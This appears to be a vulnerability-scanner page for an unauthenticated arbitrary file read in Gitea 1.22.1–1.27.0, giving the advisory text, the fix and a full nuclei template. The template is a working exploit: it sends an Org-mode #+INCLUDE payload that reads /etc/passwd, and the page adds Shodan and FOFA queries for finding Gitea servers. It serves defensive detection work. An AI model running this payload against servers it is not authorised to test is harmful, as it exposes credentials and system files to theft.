Gitea 1.22.1-1.27.0 - Unauthenticated Arbitrary File Read

criticalseverity

9.8CVSS score

28.3%likelihood of exploitation, next 30 days

98%of all CVEs are less likely

Readycheck to confirm it

Gitea versions 1.22.1 through 1.27.0 initialize the go-org markup renderer without replacing its default ReadFile callback. An unauthenticated attacker can submit Org-mode markup containing an #+INCLUDE directive with an absolute path to the repository markup endpoint of any public repository, causing the server to read and render arbitrary files accessible to the Gitea service user.

Impact

Unauthenticated attackers can read arbitrary files readable by the Gitea service user, including app.ini which contains INTERNAL_TOKEN, OAuth and JWT material, and database credentials. The advisory notes this can be escalated to command execution via Git hook injection.

Fix

Update to Gitea version 1.27.1 or later.

How to confirm it

Send: GET {{BaseURL}}/api/v1/repos/search?limit=1
Positive when: status_code == 200 and contains(body, "\"full_name\":")
Send: POST /{{reponame}}/markup
Positive when: contains "chroma language-bash" AND matches /root:.*:0:0:/ AND status 200

Run it with nuclei: nuclei -id CVE-2026-59774 -u <target>

The full check

id: CVE-2026-59774

info:
  name: Gitea 1.22.1-1.27.0 - Unauthenticated Arbitrary File Read
  author: ashish-cybersec
  severity: critical
  description: |
    Gitea versions 1.22.1 through 1.27.0 initialize the go-org markup renderer without replacing its default ReadFile callback. An unauthenticated attacker can submit Org-mode markup containing an #+INCLUDE directive with an absolute path to the repository markup endpoint of any public repository, causing the server to read and render arbitrary files accessible to the Gitea service user.
  impact: |
    Unauthenticated attackers can read arbitrary files readable by the Gitea service user, including app.ini which contains INTERNAL_TOKEN, OAuth and JWT material, and database credentials. The advisory notes this can be escalated to command execution via Git hook injection.
  remediation: |
    Update to Gitea version 1.27.1 or later.
  reference:
    - https://github.com/go-gitea/gitea/security/advisories/GHSA-6v53-hr58-556r
    - https://nvd.nist.gov/vuln/detail/CVE-2026-59774
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2026-59774
    epss-score: 0.28308
    epss-percentile: 0.98135
    cwe-id: CWE-22
  metadata:
    verified: true
    max-request: 2
    vendor: go-gitea
    product: gitea
    shodan-query: http.title:"Gitea"
    fofa-query: title="Gitea"
  tags: cve,cve2026,gitea,lfi,traversal,markup,vkev

flow: http(1) && http(2)

http:
  - method: GET
    path:
      - "{{BaseURL}}/api/v1/repos/search?limit=1"

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains(body, "\"full_name\":")'
        condition: and
        internal: true

    extractors:
      - type: json
        name: reponame
        json:
          - '.data[0].full_name'
        internal: true

  - raw:
      - |
        POST /{{reponame}}/markup HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        mode=file&file_path=a.org&text=%23%2BINCLUDE%3A%20%22%2Fetc%2Fpasswd%22%20src%20shell

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "chroma language-bash"

      - type: regex
        part: body
        regex:
          - 'root:.*:0:0:'

      - type: status
        status:
          - 200

References

Use this check only on systems you are authorised to test. Where the data comes from